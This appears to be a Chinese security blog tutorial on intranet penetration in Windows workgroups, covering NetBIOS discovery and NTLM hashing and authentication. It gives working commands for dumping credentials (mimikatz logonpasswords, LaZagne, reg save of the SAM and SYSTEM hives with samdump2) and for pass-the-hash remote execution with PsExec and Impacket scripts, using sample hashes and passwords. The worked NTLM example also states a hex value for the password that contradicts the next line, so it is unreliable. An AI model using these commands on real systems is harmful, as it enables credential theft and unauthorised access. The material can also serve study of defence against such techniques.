【湃哒星说安全】工作组环境中进行内网渗透常见方法总结

0x01 工作组定义

工作组是一组计算机的集合,工作组中的计算机没有中央身份验证在网络中的地位平等,工作组中的每台计算机都充当客户端和服务器,每台机器的账号密码只是保存在自己的SAM文件中,当工作组中的用户想要访问其他用户的计算机甚至是共享资源时,他们需要在其他用户的计算机上创建其用户名和密码。

0x02 NetBIOS

网络基本输入/输出系统 (Network Basic Input/Output System, NetBIOS) 是一种标准的应用程序编程接口,NetBIOS名称解析就是NetBIOS名称映射到IP地址的过程。

nbtstat

Command: nbtstat -A 192.168.3.133

nbtscan

Windows版本

Linux版本

0x03 NT Lan Manager

NT Lan Manager的协议实现有Net-NTLMv1和Net-NTLMv2两个版本,两者响应值计算均使用了NT Hash。NTLM Hash 通常是指Windows系统下Security Account Manager数据库中保存的用户密码的Hash 值,Windows 本身不保存明文密码,只保留密码的Hash,攻击者利用获取到的NTLM Hash可进行PTH攻击。

NTLM Hash 生成原理

假设明文口令是"admin123!@#",首先将其进行十六进制转换,结果为"77696C736F6E"。

#admin123!@# -> hex = 61646d696e313233214023将其转换成Unicode字符串,结果为

"610064006d0069006e00310032003300210040002300"。

#61646d696e313233214023-> Unicode = 610064006d0069006e00310032003300210040002300

对获取的Unicode字符串

"610064006d0069006e00310032003300210040002300",进行标准MD4单向Hash运算,得到128bit的Hash值。结果为

"8f909fdb472d0b85cddb3e36669a9b07",也就得到了最后的NTLM Hash。

#610064006d0069006e00310032003300210040002300 -> MD4 

= 8f909fdb472d0b85cddb3e36669a9b07

NTLM Hash 提取方式

Mimikatz

command:

mimikatz.exe ""privilege::debug"" ""sekurlsa::logonpasswords""

SafetyKatz

LaZagne

command:

lazagne.exe all

Reg

command:

reg save hklm\sam C:\Users\Administrator\Desktop\sam.hive

reg save hklm\system C:\Users\Administrator\Desktop\system.hive

samdump2 system.hive sam.hive > ntlm_hash.txt

cat ntlm_hash.txt

0x04 认证过程

Windows Challenge/Response 认证过程

  1. 客户端发送用户名到服务器

  2. 客户端对明文口令进行Hash处理获得NTLM Hash

  3. 服务器生成一个 16字节的随机数(Challenge)发送给客户端

  4. 客户端使用NTLM Hash对Challenge进行加密,加密结果为Response-C,然后将结果发送给服务器

  5. 服务器通过用户名检索到相对应的NTLM Hash并对Challenge进行加密得到Response-S。

  6. 比较Response-S和从客户端接收到的Response-C,如果一致则认证通过。

0x05 Windows认证过程

一般来说Winlogon服务针对本地计算机上的SAM安全账户数据库来进行Windows凭据验证。通过在登录用户界面上的用户输入等方式收集凭据,本地安全信息如策略设置、账户信息等一般存储在注册表HKEY_LOCAL_MACHINE\SECURITY中,SAM数据库的备份也存在该注册表中。

winlogon.exe是负责管理安全用户交互的可执行文件,Winlogon服务通过将用户在登录桌面上输入的用户名口令信息通过Secur32.dll 传递给LSA服务后来启动Windows操作系统的登录过程。

lsass.exe主要对用户进行身份验证,将用户口令转化为NTLM Hash,同时将凭据信息存储在内存中,用户使用该凭据可访问网络资源等。

LSA凭据产生有如下几种情况:

  1. 远程桌面登录

  2. 本地登录

  3. 使用RunAs运行服务

  4. 运行计划任务或批处理

  5. 利用远程管理工具在本地计算机运行服务

0x06 Pass The Hash

PASXEC

command:

PsExec.exe \\target_ip -u username -p password cmd

PsExec.exe \\192.168.1.6 -u administrator -p Abcd1234 cmd.exe

WMIEXEC

command:

cscript.exe wmiexec.vbs /cmd domain_name username password cmd

cscript.exe wmiexec.vbs /cmd WIN-78L42RBHLLO administrator admin123!@# "ipconfig"

ATEXEC

command:

python atexec.py administrator:admin123!@#@192.168.3.133 ipconfig

SMBEXEC

command:

python smbexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f909fdb472d0b85cddb3e36669a9b07 administrator@192.168.3.133

DCOMEXEC

command:

python dcomexec.py -hashes aad3b435b51404eeaad3b435b51404ee:8f909fdb472d0b85cddb3e36669a9b07 administrator@192.168.3.133

参考文章

https://docs.microsoft.com/en-us/windows-server/security/windows-authentication/credentials-processes-in-windows-authentication

https://github.com/scallywag/nbtscan

https://raw.githubusercontent.com/iiilin/inbtscan/master/inbt.py  

http://davenport.sourceforge.net/ntlm.html#theNtlmResponse

http://d1iv3.me/2018/12/08/LM-Hash%E3%80%81NTLM-Hash%E3%80%81Net-NTLMv1%E3%80%81Net-NTLMv2%E8%AF%A6%E8%A7%A3/

https://media.blackhat.com/us-13/US-13-Duckwall-Pass-the-Hash-Slides.pdf

https://docs.microsoft.com/en-us/windows/win32/secauthn/microsoft-ntlm

https://www.secureauth.com/labs/open-source-tools/impacket

  • 0
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

湃哒星说安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值